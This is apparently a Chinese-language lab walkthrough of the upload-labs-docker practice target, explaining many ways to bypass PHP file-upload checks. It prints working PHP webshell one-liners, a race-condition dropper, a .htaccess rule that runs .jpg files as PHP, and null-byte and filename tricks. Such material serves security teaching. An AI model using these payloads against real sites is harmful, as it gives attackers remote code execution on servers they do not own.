文章目录
前记
- 本节课主要讲了原生态PHP应用可能因为黑白名单过滤不严、代码逻辑存在缺陷、PHP语言特性、PHP版本漏洞、部分函数缺陷等问题存在文件上传漏洞
- 需要注意,为了方便理解,部分关卡我调动了位置。
- 本节课完全以实战为主,主要是通过
upload-labs-docker这个靶场来讲解原生态的文件上传漏洞以及绕过方式 - 所以需要提前搭好
docker环境,并且启动靶场 upload-labs-docker地址: https://github.com/sqlsec/upload-labs-dockerdocker搭建教程:Docker安装教程详解_docker安装详细步骤-CSDN博客010Editor安装教程:https://blog.csdn.net/NS_ice/article/details/132398846- 前几章的内容放在上方的专栏中,感兴趣的可以关注一下我哦~
WEB攻防——第四十七天
PHP应用&文件上传&函数缺陷&条件竞争&二次渲染&黑白名单&JS绕过
课前必读
- 无文件解析问题安全上,格式解析是一对一的(不能
jpg解析为php),只有当存在解析错误配置或者后缀解析漏洞时才能实现格式差异解析! - 文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容、文件后缀、文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本、语言函数、中间件、引用的第三方编辑器等存在缺陷地方利用,另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!
第一关
# 关卡简介
第一关是关于前端验证的,由于开发者只在前端做了校验,而后端没有进行校验,所以导致文件上传漏洞
- 如何判断前端验证?
- 看页面的响应速度:前端验证快、后端验证慢
F12查看前端代码:检查是否有校验的JS代码- 抓包:前端校验无法抓包、后端校验可以抓包
- 这里源代码中泄露了过滤规则:
function checkfilesuffix()
{
var file=document.getElementsByName('file')[0]['value'];
if(file==""||file==null)
{
swal("请添加上传文件", "", "error");
return false;
}
else
{
var whitelist=new Array(".jpg",".png",".gif",".jpeg");
var file_suffix=file.substring(file.lastIndexOf("."));
if(whitelist.indexOf(file_suffix) == -1)
{
swal("只允许上传图片类型的文件!", "", "error");
return false;
}
}
}
function error(){
swal("上传失败", "", "error");
}
- 可以看到设置了一个白名单,只允许传入
.jpg、.png、.gif、.jpeg后缀的文件 - 那这里绕过前端验证就有三种方式:
- 禁用JS代码:通过插件
ModHeader禁止页面加载JS代码 - 抓包更改后缀:将
php文件后缀改为允许上传的文件后缀,通过BP更改为php后缀 - 本地搭建环境:根据其前端代码本地搭建环境,删去
JS校验代码
- 禁用JS代码:通过插件
- 这里就使用抓包的方式去尝试绕过,先将
1.php文件改成1.png绕过前端白名单校验,然后上传抓包:
// 1.php
<?php @eval($_POST['pass']);?>

-
将
1.png改成1.php进行绕过发包:

-
成功上传,这里查看源代码发现文件路径为
./upload/1.php:

-
我们直接访问:

-
成功解析,接下来就可以通过哥斯拉进行连接了:

-
成功连接,那么第一关就算通过了,也是很简单
-
通过这一关我们了解到了如何去识别是否为前端验证,以及前端验证如何尝试绕过
第二关
# 关卡简介
第二关主要是探讨了Apache服务器的一个配置文件漏洞,这个配置文件(.htaccess)可以更改服务器对文件的解析规则,如果服务器为Apache且允许我们上传.htaccess文件,那么我们可以利用这一点造成文件上传漏洞
-
第二关采用的校验方式是后端黑名单校验,校验类型为文件后缀,基本上能上传的后缀名都禁止了
-
这里我们通过指纹识别插件判断目标服务器为
Apache服务器:

-
然后尝试看能否上传
.htaccess文件改变上传文件的解析规则:
<IfModule mime_module>
AddHandler application/x-httpd-php .jpg
</IfModule>
-
上述代码的意思是将上传的
.jpg后缀文件解析为php文件 -
成功上传:

-
现在我们将
1.php文件改名为1.jpg上传,然后访问:

-
成功解析成
php文件,此时我们就可以通过哥斯拉连接拿shell了 -
通过这一关我们了解到了当文件上传遇到绕不过的情况,可以尝试上传服务器配置文件更改文件解析规则来绕过
第三关
# 关卡简介
第三关是关于媒体类型(MIME)绕过的,它用来表示文档、文件或字节流的性质和格式,它的通用结构为type/subtype,对大小写不敏感,但传统都是小写。当其后端对此校验时,我们需要更改MIME进行绕过。
- 这里的检测机制是只检测
MIME类型是否在白名单内:
if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/png", "image/gif", "image/jpg"])) {
echo "<script>black();</script>";
}
-
所以我们可以直接上传PHP文件,然后抓包修改其
MIME类型为image/jpeg:

-
然后成功上传,访问该文件,成功解析:

-
通过这一关,我们知道了,文件过滤除了判断后缀名是否符合规定,还可以通过判断其
MIME类型,这也为我们提供了一种绕过的思路
第四关
# 关卡简介
通过前三关我们知道了判断一个文件类型的方式:后缀名、解析方式、MIME类型。但是这些东西说改就改,非常不靠谱,最靠谱的方式就是检测文件内容。
但是文件内容太长了怎么检测呢?人们规定一个文件开头的几个字节信息作为文件类型信息,检测文件类型时只需要检测前几个字节即可。
-
常见文件头标志如下:
JPEG(jpg):FFD8FFPNG(png):89504E47GIF(gif):47494638HTML(html):68746D6C3EZIP(zip):504B0304RAR(rar):52617221Adobe Acrobat(pdf):255044462D312EMS Word/Excel(xls、doc):D0CF11E0
-
上面的这些都是16进制的文件头标志,我们直接将这个加到文件前面更改类型是行不通的
-
但是我们可以利用工具去修改文件头,这里使用
010Editor或者WinHex都是可以的,我们将要上传的PHP文件拖入010:

-
然后这里就可以随便改文件头了,比如我们在前面添加
PNG的文件头,这里不能直接复制字节然后粘贴 -
首先将光标移到第一位,然后选择编辑,选择插入/覆盖,选中插入字节,然后选择从哪里开始插入,插入多少位,这里每8字节代表一位,所以插入4位即可:


-
然后点击插入,再将上面的
PNG头复制粘贴进来即可:

-
这里它的过滤代码为:
if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/jpg", "image/png", "image/gif"])) {
echo "<script>black();</script>";
} else if (!in_array(bin2hex($bin), ["89504E47", "FFD8FFE0", "47494638"])) {
echo "<script>black();</script>";
}
-
所以我们直接上传刚刚改的
PHP文件,然后再改一下MIME类型即可:

-
可以看到成功绕过,并且解析:

-
当然,这里最常用的还是使用
GIF绕过,因为它的文件头比较好写,不用使用工具改,直接将GIF89a字符串添加到文件开头即可:
GIF89a
<?php @eval($_POST['pass']);?>
- 那么通过这一关,我们了解到可以通过文件头去过滤非法文件,但是这样做也存在被绕过的可能
第九关
# 关卡简介
第九关是采用黑名单文件后缀过滤,但是过滤不严出现用户能够尝试其他的php后缀绕过黑名单检测,造成文件上传漏洞。
- 这里我将第九关放到了前面,是因为我觉得这样更好理解一些,这里是采用的黑名单过滤机制,过滤代码如下:
$name = basename($_FILES['file']['name']);
$ext = pathinfo($name)['extension'];
$blacklist = array("asp","aspx","php","jsp","htaccess");
-
可以看到过滤的文件后缀很少,那这里可以使用其他的
php后缀名尝试绕过:.php3、.php4、.php5.inc.phtml、.tpl
-
除了上面这些
php变异后缀,还有很多都可以尝试去上传看能不能解析 -
这里提供一个字典
fuzzdb( https://github.com/fuzzdb-project/fuzzdb ),我们可以通过BP抓包然后fuzz爆破,看有没有能绕过的后缀:

-
这里抓包后放到
Intruder页面,然后选择php添加爆破标记,之后点击上方的payloads,然后选择导入fuzzdb( 路径一般为:“D:\fuzzdb\attack\file-upload\alt-extensions-php.txt” )的字典:

-
导入完之后就开始爆破,爆破完之后就可以根据响应包的长度来判断是否上传成功,比如这里php是上传失败的,那么长度为1573,那基本上大于这个长度的就是上传成功的,也可以看响应包的具体内容:

-
那我们随便访问一个
php3的:

-
成功解析,说明上传成功!
-
那么通过这关,我们知道了禁止上传php文件时,可以尝试上传一些变种php文件看能否上传成功
第五关
# 关卡简介
我们了解完基本的过滤机制后,开始研究一些在代码层面的问题,也就是由于代码逻辑缺陷,导致文件上传漏洞产生。
这一关就是关于过滤机制有逻辑缺陷,导致被绕过上传文件。
- 这里它是将过滤代码贴了出来,处理逻辑是采用黑名单过滤文件后缀,但它不是不让上传,它是将关键词替换为空字符串之后,仍然上传文件:
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
$is_upload = true;
}
- 最重要的是它这里只做了一次替换处理,正常来讲是需要循环做的,那这就是代码逻辑存在缺陷,我们可以将文件名写两次绕过:
# 正常处理逻辑
1.php ---> 1. ---> 上传
# 双写绕过
1.pphphp ---> 1.php ---> 上传

-
然后上传成功之后,访问
http://xxx/upload/1.php:

-
成功解析!
-
那么通过这一关,我们了解了即使过滤再严格,但是代码存在缺陷也会造成文件上传漏洞
第十关
# 关卡简介
第十关是关于条件竞争引起的文件上传漏洞,这里需要代码的逻辑为先上传、再判断、后删除。当上传一个木马文件,在木马文件被删除之前,如果有人访问这个文件时,能让他生成一个小马文件,这个小马文件就能够绕过检测机制存活,造成文件上传漏洞。
然而这个文件被删除的速度是非常快的,所以这个存活间隙存在很短,但是如果同时有大量请求同时进行,就有可能会发生
- 这一关放在这里的原因是因为它也属于代码逻辑存在缺陷,源码如下:
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$ext = pathinfo($name)['extension'];
$upload_file = UPLOAD_PATH . '/' . $name;
$whitelist = array('jpg','png','gif','jpeg');
// 先执行move_uploaded_file()函数上传文件
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
// 再判断后缀是否违规
if(in_array($ext,$whitelist)){
$rename_file = rand(10, 99).date("YmdHis").".".$ext;
$img_path = UPLOAD_PATH . '/'. $rename_file;
rename($upload_file, $img_path);
$is_upload = true;
}else{
// 如果后缀违规,删除上传文件
echo "<script>black();</script>";
unlink($upload_file);
}
}
}
- 这里看代码好像没什么问题,但是就是因为它先上传了,不管你之后干什么,非法文件都会在服务器上存活一段时间,而这个间隙就会导致条件竞争 ==> 先删除还是被创建 ==> 谁先访问到的问题
- 假设我们有一个
1.php文件:
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
-
它的作用就是当被访问时,就会创建出一个
xiao.php后门代码 -
首先我们要确定的就是上传文件的路径,然后不断地往服务器上传这个
php文件,这里需要使用BP的Intruder模块,按照如下设置让他一直上传:


-
之后访问
http://xxx/upload/1.php,抓包,同样设置为上面的选项:


-
启动两个线程,然后我们自己手动访问:
http://xxx/upload/xiao.php,多访问几次见证奇迹的发生:

-
成功创建
xiao.php -
通过这一关,我们知道了文件上传时的处理顺序也是造成文件上传的原因之一
第六关
# 关卡简介
第六关是关于系统特性的绕过,比如Windows对文件大小写不敏感,而Linux对文件大小写敏感,所以导致服务器搭载到Windows上可能被大小写绕过
- 需要注意的是:这一关可能是环境问题,也可能是其他问题,我这里本地没有复现成功。我也不是很懂什么原因,复现成功的大佬可以交流一下
- 这里它的过滤代码也是贴了出来:
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_replace($blacklist, " ", $name);
- 将黑名单关键字替换成了空格,这里提示了本题的环境是模拟的
Windows,所以可以尝试大小写绕过,Windows依然会解析为php文件 - 但是我尝试了很多次它都是不解析,本地搭建环境也没办法解析,只能说这一关就是了解一下有这种绕过方式
第七关
# 关卡简介
第七关是关于PHP语言本身的漏洞:00截断,当PHP版本小于5.3.4,并且magic_quotes_gpc = off时,该漏洞生效,能够绕过一些过滤造成文件上传漏洞。
- 00截断产生的原因是因为PHP内核是由C语言实现的,所以使用了C语言中的部分字符串处理函数。比如在连接字符串时,0字节(
\x00)会作为字符串结束,导致后面的字符串在实际解析时失效。 - 这里的过滤机制采用的是白名单过滤后缀名,只允许上传图片类型文件:
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
$whitelist = array("jpg", "jpeg", "png", "gif");
if (in_array($ext, $whitelist)) {
$filename = rand(10, 99) . date("YmdHis") . "." . $ext;
$des = $_GET['road'] . "/" . $filename;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
$is_upload = true;
} else {
echo "<script>black();</script>";
}
}
- 可以看到这里文件上传的路径
$des为传入的road下面的$filename - 也就是说这个
road参数是我们可控的,并且这里的$filename是一个随即名字拼接在这里,然后将原本的文件相当于重命名了 - 那这里我们就可以尝试00截断,将
php文件重命名为1.jpg,然后在road参数那里重命名为1.php%00将后面的内容截断,最后上传的文件名就是1.php了
# GET参数00截断
// 原本逻辑
?road=xxx/1.php --> $des=xxx/1.php/xxx.jpg
// 截断逻辑
?road=xxx/1.php%00 --> $des=xxx/1.php%00/xxx.jpg --> $des=xxx/1.php
# 文件名00截断
// 原本逻辑
name=1.php --> 拦截
// 00截断
name=1.php\x00.jpg --> $ext=jpg, $name=1.php --> $filename=xxx.jpg
-
这里因为有一个重命名操作,所以没办法使用文件名截断,那我们就只能在
road参数中截断:

-
然后访问
xxx/upload/shell.php看看是否成功截断:

-
可以看到成功解析
shell.php,这里就成功截断了
第八关
# 关卡简介
第八关延续上一关的00截断,将GET传入road参数改成了POST传入,这里需要注意的是POST传参与GET传参的区别点,从而能不能正确引发00截断。
- 这一关使用POST将
road参数传入拼接,思路和上一关一样,但是要注意,我们使用的00截断是%00解码后的结果:
// GET传参
http://xxx/upload/1.php%00.jpg
这里使用的%00它会自动解码一次
// POST传参
http://xxx
upload/1.php%00.jpg
这里使用的%00需要我们手动进行一次解码才能够正确截断!
-
所以我们这里直接添加%00它是不行的,需要手动URL解码一次:


-
解码之后这里就像消失了一样,但实际上并没有,发包访问,成功解析:

-
通过第七关和第八关,我们了解到造成文件上传漏洞的原因不止过滤不严,也不止代码逻辑有缺陷,使用的开发语言版本也会对其产生影响
第十一关
# 关卡简介
第十一关是关于上传图片之后,后端对图片进行处理,二次渲染显示在前端页面的操作。这个过程会导致显示的图片和上传的图片信息不一致,因此上传图片马可能会失效。
但是我们可以通过比较图片加工前和加工后的结果差异,将木马写到网站不会处理的地方,绕过处理实现文件上传漏洞。
-
这一关,模拟了一些网站对上传图片做了一个二次加工,然后渲染到前端页面的功能
-
比如,我上传一个正常的文件,它渲染到前端之后我们将其下载下来比较前后的文件大小:

-
可以看到啊两个文件的大小差距非常大,说明服务器对文件做了压缩删减了,这时我们拿出
010Editor进行分析:

-
选择右上角的比较文件,然后选择两个文件,点击比较:

-
就可以看到两个文件的差异了:

-
我们选择比较他们相同的部分,看看哪里没有被服务器删除:

-
现在标蓝色的位置就是他们的匹配项,也就是没有改变的地方,那我们可以选择将一句话木马写到这些位置:

-
然后再上传下载看一看木马是否消失:

-
可以看到木马依旧存在,因为这里源码有一个
include($_GET['file'])函数,这是导致这个文件上传漏洞的关键原因 ==> 允许用户自定义渲染的文件 -
那么此时我们上传刚刚的
gif图片后,传入参数:?file=upload/xxx.gif,他就会渲染我们的木马文件:

-
然后可以POST传个参看看木马是否生效:

-
成功接收到参数
-
这里可以尝试一下其他格式,因为其他格式修改起来比较复杂一些,师傅们可以自己下去复现
-
那通过这一关我们又了解到了一种二次渲染导致文件上传的情况解析的情况
第十二关
# 关卡简介
第十二关主要是在前面的基础上,又新增了函数缺陷导致文件上传漏洞的情况,在PHP 5.3.4以下的版本(不确定),move_uploaded_file($temp_file, $img_path)函数存在解析漏洞。
如果网站使用了该函数,并且允许用户对上传文件进行重命名,那么可以通过该漏洞尝试绕过黑名单后缀名检测,造成文件上传漏洞。
- 这里我们给出源码提示,然后我们可以控制上传文件名,但这里php版本不适合用00截断
- 所以我们可以利用
move_uploaded_file()的函数缺陷,如果上传的文件名最后存在/.,那么就它实际命名时就会当成/前面的部分,从而绕过黑名单检测:


- 成功解析!
- 这里我们通过这个又学到了除了上面提到的这些方式会造成文件上传漏洞外,函数本身的缺陷也可能造成该漏洞
第十三关
# 关卡简介
第十三关主要是前面所有的一个综合运用,需要代码审计,然后涉及到了一个post上传数组
- 首先它给出了源码:
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
- 这里需要一步一步地看,首先是需要绕过
MIME类型验证 - 然后这里要注意检查的文件名是你通过POST传入的文件名,如果不传入就用原本的文件名
- 接下来他会判断你传入的文件名是否是以数组的形式传入,如果不是,他就切分为数组
- 再进行白名单校验,只允许后缀为图片,校验通过后,会将数组中第一个元素取出,和
count($file) - 1长度的元素用.拼接 - 然后上传到当前文件夹下
- 这里很重要的两个点就出来了,如果我们不以数组传入,那基本是绕不过去的,因为后缀名只能是白名单中的三个,而且后面是拼接第一个元素和最后一个元素,点号中间的字符都被省略
- 第二个点是它处理后缀的时候首先是
end()取,然后是count($file) - 1取,在PHP中,如果是键值数组,中间是可以不连续的 - 也就是说,这里使用可以利用这一点,传入中间键值为空的元素,
end()取出来是最后一个,但是count() - 1取出来是中间的空元素 - 那么此时拼接得到的东西就是:
reset($file) + '.',如果我传入的第一个元素是xxx.php/,那最后拼接的结果不就是xxx.php/.吗? - 最后使用到了
move_uploaded_file()函数,不就会将其解析为php文件吗 - 因此我们可以得到
payload:

—— 持续更新中&spm=1001.2101.3001.5002&articleId=149808716&d=1&t=3&u=921f9dd520d5460292934531b021eb1f)

被折叠的 条评论
为什么被折叠?



